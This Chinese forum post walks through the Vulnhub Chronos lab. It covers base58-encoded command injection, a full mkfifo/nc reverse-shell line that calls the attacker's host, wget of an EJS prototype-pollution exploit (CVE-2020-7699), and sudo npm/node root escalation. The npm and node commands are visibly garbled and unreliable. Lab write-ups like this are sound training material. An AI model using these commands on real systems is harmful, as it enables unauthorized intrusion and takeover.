Happiness 发表于 2024-4-21 19:42:29

Vulnhub 靶机篇:Chronos: 1



## 0x01 靶机信息

> - **名称**:Chronos: 1
> - **发布日期**:2021 年 8 月 9 日
> - **作者**:AL1ENUM
> - **系列**:Chronos
> - **难度**:中等
> - **简介**:这对于 VirtualBox 而不是 VMware 效果更好。
> - **下载链接**:[https://download.vulnhub.com/chronos/Chronos.ova](https://download.vulnhub.com/chronos/Chronos.ova)
> - **MD5**:30DAD56028D2AAAD047391E76BE64F9C
> - **网络**:DHCP自动分配

## 0x02 Write-Up
### 2.1 主机扫描

靶机IP:192.168.3.22

使用工具TXPortMap(https://github.com/4dogs-cn/TXPortMap)扫描主机

扫描出网站开放了22,80,8000端口,网站采用了apache和Express架构,SSH版本为2.0

!(data/attachment/forum/202404/21/193104umwe0zmk0k3msrwc.png)

### 2.2 观察网站

访问主页

!(data/attachment/forum/202404/21/193113kwv242ojof89vjl2.png)

访问8000端口,页面显示Date&Time

!(data/attachment/forum/202404/21/193122wt30ygywphu58iji.png)

查看网页元素,其中有一串(/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL)类似路径

!(data/attachment/forum/202404/21/193131kuo1t5vk4x0xxu1h.png)

#### 2.2.1 发现OPTIONS请求

利用burp查看具体参数

!(data/attachment/forum/202404/21/193140boioorclzi8bnp2w.png)

``` html
OPTIONS /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1
OPTIONS获取当前URL所支持的方法
Access-Control-Request-Method: GET
请求方法为GET
Access-Control-Request-Headers: user-agent
请求会携带头部字段:user-agent
```

直接访问路径被拒绝

!(data/attachment/forum/202404/21/193147dj12hjz57qyhyht5.png)

#### 2.2.2 根据OPTIONS内容调整参数访问

结合OPTIONS的内容,可能是传过去的user-agent不符合要求,重点关注

观察80端口页面,发现一个跨域请求,域名:chronos.local,User-Agent:Chronos

!(data/attachment/forum/202404/21/193157gk74bbmszh664hms.png)

添加解析到hosts文件

!(data/attachment/forum/202404/21/193207bjbb1zhy2wxnpvlw.png)

重新访问(http://chronos.local),主页出现了日期和时间,说明之前的请求成功了

!(data/attachment/forum/202404/21/193217d5vzn1z2l22za21v.png)

在网页流量中可以看到请求成功,User-Agent:Chronos

!(data/attachment/forum/202404/21/193226r05022rppjips55u.png)

在8000端口,直接使用域名访问失败,下一步修改Agent

!(data/attachment/forum/202404/21/193311za5aw95lwjags4s2.png)

!(data/attachment/forum/202404/21/193333pnn0pf30pliilylh.png)

!(data/attachment/forum/202404/21/193342edz4xnxnpnxkkc4t.png)

访问成功

!(data/attachment/forum/202404/21/193352ok0uoom408rlrzd9.png)

#### 2.2.3 将date的传参解码

使用(https://www.dcode.fr/cipher-identifier)cipher解码

内容4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,识别为base58

!(data/attachment/forum/202404/21/193402xv77f7w0g7gm1wrx.png)

同时解码内容为'+Today is %A, %B %d, %Y %H:%M:%S.',是执行date命令的参数

!(data/attachment/forum/202404/21/193411pmfh0ghwwh7qflhb.png)

### 2.3 利用命令执行反弹shell

#### 2.3.1 测试传参
``` txt
尝试利用;独立执行新的命令
; ls -l
base58编码后:3ExVpXJqdV
```

(http://www.metools.info/code/c74.html) MeTools工具

!(data/attachment/forum/202404/21/193424yztabi5007bxaazb.png)

执行成功,可以看到有个www-data用户

!(data/attachment/forum/202404/21/193436frlalj9rxpl0a901.png)

#### 2.3.2 反弹shell

在kali中开启监听端口

``` bash
nc -lvvp 4444
```

!(data/attachment/forum/202404/21/193444ec9lmhunkjhuh8cz.png)

``` txt
反弹语句:;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.3.23 4444>/tmp/f
base58 :3rqRK5HNRart7G6euj73LHosixYeKbLr13V6UbRvyosw342VHcRsWoA9phAm8PQmDfWYawXHoYGbmdc56tRJ7bfFu1wgv5vMUHuGC5UG9rF2gHb
```

!(data/attachment/forum/202404/21/193452z2h172kpikxsiih7.png)

反弹成功

!(data/attachment/forum/202404/21/193501blm7xlgrb0pbx7gk.png)

#### 2.3.4 发现chronos-v2目录

在opt目录下发现chronos-v2目录,具有上传功能

!(data/attachment/forum/202404/21/193509fh9964yafhktk1fd.png)

开在本地8080端口

!(data/attachment/forum/202404/21/193516fzqgkn0l7lvvef7x.png)

### 2.4 利用NodeJS模块代码注入提权

查找到在express-fileupload": "^1.1.7-alpha.3"中存在NodeJS模块代码注入(CVE-2020-7699),借用一张图表示

``` txt
由于express-fileupload 具有“parseNested”特征。当“parseNested”选项启用时,它负责将上传的 JSON 数据“扁平化 (flatten)”为嵌入式对象。

如果我们将{“a.b.c”}作为输入,则在内部它将被用作{“a”:{“b”:{“C”:true}}}。

假设你的应用程序正在使用 EJS 解析上传的数据,而没有执行额外的检查,那么攻击者就能够利用'__proto__.outputFunctionName'发送HTTP请求,覆写 EJS 的“outputFunctionName”选项。

```

!(data/attachment/forum/202404/21/193529wk6ee4vcz727h7kv.png)

kali下载利用脚本(https://github.com/boiledsteak/EJS-Exploit)

``` txt
git clone https://github.com/boiledsteak/EJS-Exploit.git
```

!(data/attachment/forum/202404/21/193537njv4j0p4gvpd1idp.png)

修改脚本内IP和端口

!(data/attachment/forum/202404/21/193547xy4yyo2wy2a3jnvo.png)

kali 开启http服务传输脚本

``` txt
python3 -m http.server 80
```

!(data/attachment/forum/202404/21/193556z5t62ykqkkza0yqt.png)

同时在另一侧开启5555端口侦听

``` txt
nc -lvnp 5555
```

!(data/attachment/forum/202404/21/193604q12rff4rdf3fffff.png)

目标机下载脚本

``` txt
wget http://192.168.3.23/EJS-RCE-attack.py
```

!(data/attachment/forum/202404/21/193613fvxzxv6hc4qx44x6.png)

利用python3运行脚本

!(data/attachment/forum/202404/21/193622f9z4pg4h04yyap6y.png)

#### 2.4.1 得到imera用户的flag

获得imera用户权限

!(data/attachment/forum/202404/21/193632f5mc817ue3eqprrm.png)

找到user's flag---byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

!(data/attachment/forum/202404/21/193640joxkiln1uknioxlk.png)


### 2.5 root提权

``` bash
sudo -l
查看当前用户拥有的root执行权限
```

!(data/attachment/forum/202404/21/193648pabtltalrc0c5lir.png)

#### 思路一:利用npm提权

``` txt
npm的利用是失败的,利用https://gtfobins.github.io/gtfobins/npm/的语句
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin![](file:///C:\Users\12936\AppData\Roaming\Tencent\QQTempSys\VJF%JZ05B[YH0`[V%7ZB2[N.gif)"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i
```

!(data/attachment/forum/202404/21/193657zhhhnh5lh954357d.png)

#### 思路二:利用node提权

``` txt
sudo node -e'require("child process").spaw("/bin/sh", stdio: 1)'
```

!(data/attachment/forum/202404/21/193705t6wqg30ymylxcyqx.png)

提权成功

!(data/attachment/forum/202404/21/193713kgy9yt73yzu8yukj.png)

获得root's flag

!(data/attachment/forum/202404/21/193719jbab7z122fqps4q7.png)




页: [1]
查看完整版本: Vulnhub 靶机篇:Chronos: 1